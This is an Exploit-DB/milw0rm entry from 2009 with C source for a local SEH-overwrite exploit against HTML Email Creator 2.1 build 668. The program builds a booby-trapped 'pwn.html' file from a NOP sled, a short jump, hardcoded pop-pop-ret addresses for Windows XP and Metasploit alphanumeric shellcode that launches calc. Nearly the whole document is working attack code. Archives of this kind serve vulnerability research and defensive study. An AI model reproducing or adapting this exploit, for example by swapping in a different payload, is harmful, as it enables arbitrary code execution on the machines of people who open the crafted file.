HTML Email Creator 2.1b668 - html Local Overwrite (SEH)

EDB-ID:

8401

CVE:


Author:

dun

Type:

local

Platform:

Windows

Published:

2009-04-13

/*    
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM
   [ Discovered and Exploited by dun ]


 [ HTML Email Creator <= 2.1 build 668 ] (html) Local SEH Overwrite Exploit

 Vendor:    http://www.html-email.net/
 Download:  http://www.html-email.net/download/html2emailcreator.exe

 Vuln:
 <img src="520 x A">
  or
 <script src="520 x A">
  or
 <link href="520 x A">

  ___________________________520_____________________________ 
 |                                                           |
 [ NOPs ][ jmp 11 ][ pop-pop-ret ][ NOPs ][ shellcode ][ NOPs ]
    56       4           4           40       343         73   
 
  
 Greetz:  suN8Hclf, str0ke
 
 [ dun'at'strcpy.pl / 2009 ] 
*/


#include <windows.h>
#include <stdio.h>

/*
Tested on:      
WIN XP SP2 with installed "PC TOOLS Spyware Doctor" from google pack
/SafeSEH OFF     0x636e0000    0x63709000    6.1.0.2    C:\Program Files\Spyware Doctor\smum32.dll
#define RET   0x636E34BC      // pop-pop-ret

WIN XP without any upgrades
kernel32.dll  0x77E9CB0E      pop EAX - pop - ret
#define RET   0x77E9CB0E      // pop-pop-ret
*/


#define RET   0x77E9CB0E      // pop-pop-ret
#define JMP   0x909011EB      // short jump (jmp 11)
#define LEN   520
#define NOP   0x90


// win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
char scode[] =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47"
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48"
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38"
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c"
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48"
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44"
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48"
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33"
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37"
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a"
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b"
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53"
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57"
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59"
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56"
"\x4e\x56\x43\x46\x42\x30\x5a";



int main() {
    
FILE *file;
int i=0;
char buf[LEN+1];
char *ptr=buf;

memset(buf,0x00,LEN+1);
memset(buf,NOP,LEN);
*(unsigned long *)&buf[56] = JMP;
*(unsigned long *)&buf[60] = RET;
ptr+=56+4+4+40;
memcpy(ptr, scode, strlen(scode));

file=fopen("pwn.html","w");

fprintf(file, "<HTML>\n<HEAD></HEAD>\n<BODY>\n<img src=\"");
fputs(buf,file);
fprintf(file, "\">\n</BODY>\n</HTML>\n");
fclose(file);


printf("File created..\n");
 return 0;   
}

// milw0rm.com [2009-04-13]